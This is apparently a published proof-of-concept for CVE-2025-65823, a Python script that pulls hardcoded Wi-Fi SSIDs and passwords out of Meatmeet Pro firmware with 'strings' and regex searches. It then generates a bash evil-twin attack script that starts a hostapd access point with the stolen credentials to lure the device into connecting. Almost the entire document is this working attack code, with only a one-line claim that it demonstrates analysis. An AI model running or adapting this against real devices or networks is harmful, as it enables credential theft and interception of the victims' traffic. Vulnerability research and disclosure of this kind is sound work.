CVE-2025-65823: Meatmeet Pro固件硬编码Wi-Fi凭证漏洞

#!/usr/bin/env python3 """ CVE-2025-65823 PoC - Extract hardcoded Wi-Fi credentials from Meatmeet Pro firmware Note: This PoC demonstrates the vulnerability analysis process """ import subprocess import re import sys def extract_wifi_credentials(firmware_path): """ Extract potential Wi-Fi credentials from firmware binary """ print(f"[*] Analyzing firmware: {firmware_path}") # Step 1: Extract strings from firmware try: result = subprocess.run( ['strings', firmware_path], capture_output=True, text=True, timeout=30 ) strings_output = result.stdout except Exception as e: print(f"[-] Error extracting strings: {e}") return None # Step 2: Search for Wi-Fi related patterns ssid_pattern = r'(?:SSID|WIFI|WLAN)[_:\s]*["\']?([\w\-\s]{1,32})["\']?' password_pattern = r'(?:PASSWORD|PASS|KEY|PSK)[_:\s]*["\']?([\w\-\!@#$%^&*()]{8,63})["\']?' ssids = re.findall(ssid_pattern, strings_output, re.IGNORECASE) passwords = re.findall(password_pattern, strings_output, re.IGNORECASE) print(f"[+] Found {len(ssids)} potential SSIDs") print(f"[+] Found {len(passwords)} potential passwords") # Step 3: Look for common hardcoded patterns hardcoded_patterns = [ r'network=\{[^}]*ssid="([^"]+)"[^}]*password="([^"]+)"', r'wifi\.ssid=([^\s]+)\s+wifi\.password=([^\s]+)', ] credentials = [] for pattern in hardcoded_patterns: matches = re.findall(pattern, strings_output) for match in matches: if len(match) == 2: credentials.append({ 'ssid': match[0], 'password': match[1] }) if credentials: print("\n[!] Hardcoded Wi-Fi credentials found:") for cred in credentials: print(f" SSID: {cred['ssid']}") print(f" Password: {cred['password']}") print() return credentials def create_evil_twin_script(ssid, password, interface='wlan0'): """ Generate Evil Twin attack script for demonstration """ script = f'''#!/bin/bash # Evil Twin Attack Script for CVE-2025-65823 # Target SSID: {ssid} INTERFACE={interface} TARGET_SSID="{ssid}" TARGET_PASSWORD="{password}" # Start hostapd with target SSID hostapd -B -i $INTERFACE <<EOF interface=$INTERFACE ssid=$TARGET_SSID hw_mode=g channel=6 wpa=2 wpa_passphrase=$TARGET_PASSWORD wpa_key_mgmt=WPA-PSK rsn_pairwise=CCMP EOF echo "[*] Evil Twin AP created with SSID: $TARGET_SSID" echo "[*] Waiting for device connection..." ''' return script if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <firmware_bin>\n") print("Example: python3 cve-2025-65823.py meatmeet_pro_firmware.bin") sys.exit(1) firmware = sys.argv[1] creds = extract_wifi_credentials(firmware) if creds: for cred in creds: evil_twin = create_evil_twin_script(cred['ssid'], cred['password']) print("[*] Evil Twin script generated:") print(evil_twin)